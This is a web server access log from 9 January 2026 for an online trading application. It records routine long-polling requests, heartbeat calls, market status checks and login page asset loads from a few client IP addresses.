[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/dialog.html?1767919865471 HTTP/1.1" 3179
[09/Jan/2026:08:46:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:08:46:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919870733 HTTP/1.1" -
[09/Jan/2026:08:46:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919869312 HTTP/1.1" -
[09/Jan/2026:08:46:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919875883 HTTP/1.1" -
[09/Jan/2026:08:46:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919875314 HTTP/1.1" -
[09/Jan/2026:08:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919881014 HTTP/1.1" -
[09/Jan/2026:08:46:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919881314 HTTP/1.1" -
[09/Jan/2026:08:46:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919886133 HTTP/1.1" -
[09/Jan/2026:08:46:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919887308 HTTP/1.1" -
[09/Jan/2026:08:46:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:46:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:46:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:46:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:46:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919891253 HTTP/1.1" -
[09/Jan/2026:08:47:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919893309 HTTP/1.1" -
[09/Jan/2026:08:47:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919896327 HTTP/1.1" -
[09/Jan/2026:08:47:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919901450 HTTP/1.1" -
[09/Jan/2026:08:47:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919899301 HTTP/1.1" -
[09/Jan/2026:08:47:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:47:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:47:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:47:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:47:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919906569 HTTP/1.1" -
[09/Jan/2026:08:47:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919905305 HTTP/1.1" -
[09/Jan/2026:08:47:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919911696 HTTP/1.1" -
[09/Jan/2026:08:47:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919911309 HTTP/1.1" -
[09/Jan/2026:08:47:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919916905 HTTP/1.1" -
[09/Jan/2026:08:47:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919917314 HTTP/1.1" -
[09/Jan/2026:08:47:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:47:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:47:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:47:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:47:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919922096 HTTP/1.1" -
[09/Jan/2026:08:47:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919923308 HTTP/1.1" -
[09/Jan/2026:08:47:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919927247 HTTP/1.1" -
[09/Jan/2026:08:47:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:08:47:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:08:47:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:08:47:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919929314 HTTP/1.1" -
[09/Jan/2026:08:47:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919932418 HTTP/1.1" -
[09/Jan/2026:08:47:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919937536 HTTP/1.1" -
[09/Jan/2026:08:47:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919935303 HTTP/1.1" -
[09/Jan/2026:08:47:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919942640 HTTP/1.1" -
[09/Jan/2026:08:47:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919941305 HTTP/1.1" -
[09/Jan/2026:08:47:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919947785 HTTP/1.1" -
[09/Jan/2026:08:47:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919947309 HTTP/1.1" -
[09/Jan/2026:08:47:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:47:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:47:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:47:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:48:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919952908 HTTP/1.1" -
[09/Jan/2026:08:48:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919953313 HTTP/1.1" -
[09/Jan/2026:08:48:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919957968 HTTP/1.1" -
[09/Jan/2026:08:48:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919959302 HTTP/1.1" -
[09/Jan/2026:08:48:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919963155 HTTP/1.1" -
[09/Jan/2026:08:48:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:48:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:48:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:48:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:48:16 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919965310 HTTP/1.1" -
[09/Jan/2026:08:48:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919968290 HTTP/1.1" -
[09/Jan/2026:08:48:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919973433 HTTP/1.1" -
[09/Jan/2026:08:48:22 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919971301 HTTP/1.1" -
[09/Jan/2026:08:48:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919978570 HTTP/1.1" -
[09/Jan/2026:08:48:28 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919977304 HTTP/1.1" -
[09/Jan/2026:08:48:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:48:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:48:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:48:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:48:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919983711 HTTP/1.1" -
[09/Jan/2026:08:48:34 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919983307 HTTP/1.1" -
[09/Jan/2026:08:48:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919988788 HTTP/1.1" -
[09/Jan/2026:08:48:40 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919989312 HTTP/1.1" -
[09/Jan/2026:08:48:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919993940 HTTP/1.1" -
[09/Jan/2026:08:48:46 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919995313 HTTP/1.1" -
[09/Jan/2026:08:48:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767919999095 HTTP/1.1" -
[09/Jan/2026:08:48:52 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920001305 HTTP/1.1" -
[09/Jan/2026:08:48:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920004233 HTTP/1.1" -
[09/Jan/2026:08:48:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920009342 HTTP/1.1" -
[09/Jan/2026:08:48:58 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920007314 HTTP/1.1" -
[09/Jan/2026:08:48:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:48:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:48:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:48:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:08:49:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920014464 HTTP/1.1" -
[09/Jan/2026:08:49:04 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920013302 HTTP/1.1" -
[09/Jan/2026:08:49:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920019511 HTTP/1.1" -
[09/Jan/2026:08:49:10 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56419?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767920019312 HTTP/1.1" -
[09/Jan/2026:08:49:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:49:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:08:49:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:08:49:12 +0800] 203.184.201.173 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
